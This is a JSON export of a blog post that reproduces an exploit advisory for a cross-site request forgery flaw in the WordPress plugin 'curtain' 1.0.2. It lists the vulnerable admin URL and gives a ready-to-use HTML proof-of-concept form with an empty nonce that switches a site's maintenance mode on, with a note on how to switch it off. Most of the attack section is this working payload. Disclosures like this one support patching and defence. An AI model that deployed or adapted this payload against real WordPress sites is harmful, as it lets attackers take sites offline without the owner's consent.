{"id":22381,"date":"2022-03-30T20:28:42","date_gmt":"2022-03-30T16:28:42","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166529\/wpcurtain102-xsrf.txt"},"modified":"2022-04-04T10:38:35","modified_gmt":"2022-04-04T06:08:35","slug":"wordpress-curtain-1-0-2-cross-site-request-forgery","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/wordpress-curtain-1-0-2-cross-site-request-forgery\/","title":{"rendered":"WordPress Curtain 1.0.2 Cross Site Request Forgery"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: WordPress Plugin curtain 1.0.2 &#8211; CSRF<br \/>\n# Date: 29-03-2022<br \/>\n# Exploit Author: Hassan Khan Yusufzai &#8211; Splint3r7<br \/>\n# Vendor Homepage: https:\/\/wordpress.org\/plugins\/curtain\/<br \/>\n&lt;https:\/\/wordpress.org\/plugins\/amministrazione-aperta\/&gt;<br \/>\n# Version: 1.0.2<br \/>\n# Tested on: Firefox<br \/>\n# Contact me: h [at] spidersilk.com<\/p>\n<p dir=\"ltr\">## Summary:<\/p>\n<p dir=\"ltr\">Cross site forgery vulnerability has been identified in curtain<br \/>\nWordPress plugin that allows an attacker to to activate or dedicative<br \/>\nsites maintenance mode.<\/p>\n<p dir=\"ltr\">## Vulnerable URL:<\/p>\n<p dir=\"ltr\">http:\/\/localhost:10003\/wp-admin\/options-general.php?page=curtain&amp;_wpnonce=&amp;mode=<br \/>\n&lt;http:\/\/localhost:10003\/wp-admin\/options-general.php?page=curtain&amp;_wpnonce=&amp;mode=0&gt;1<\/p>\n<p dir=\"ltr\">## CSRF POC Exploit<\/p>\n<p dir=\"ltr\">&#8220;`<br \/>\n&lt;html&gt;<br \/>\n&lt;body&gt;<br \/>\n&lt;form action=&#8221;http:\/\/localhost:10003\/wp-admin\/options-general.php&#8221;&gt;<br \/>\n&lt;input type=&#8221;hidden&#8221; name=&#8221;page&#8221; value=&#8221;curtain&#8221; \/&gt;<br \/>\n&lt;input type=&#8221;hidden&#8221; name=&#8221;_wpnonce&#8221; value=&#8221;&#8221; \/&gt;<br \/>\n&lt;input type=&#8221;hidden&#8221; name=&#8221;mode&#8221; value=&#8221;1&#8243; \/&gt;<br \/>\n&lt;input type=&#8221;submit&#8221; value=&#8221;Submit request&#8221; \/&gt;<br \/>\n&lt;\/form&gt;<br \/>\n&lt;\/body&gt;<br \/>\n&lt;\/html&gt;<br \/>\n&#8220;`<\/p>\n<p dir=\"ltr\">&#8211; To deactivate change mode value to 0<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: WordPress Plugin curtain 1.0.2 &#8211; CSRF # Date: 29-03-2022 # Exploit Author: Hassan Khan Yusufzai &#8211; Splint3r7 # Vendor Homepage: https:\/\/wordpress.org\/plugins\/curtain\/ &lt;https:\/\/wordpress.org\/plugins\/amministrazione-aperta\/&gt; # Version: 1.0.2 # Tested on: Firefox # Contact me: h [at] spidersilk.com ## Summary: Cross site forgery vulnerability has been identified in curtain WordPress plugin that allows an attacker &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-22381","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/22381","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=22381"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/22381\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=22381"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=22381"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=22381"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}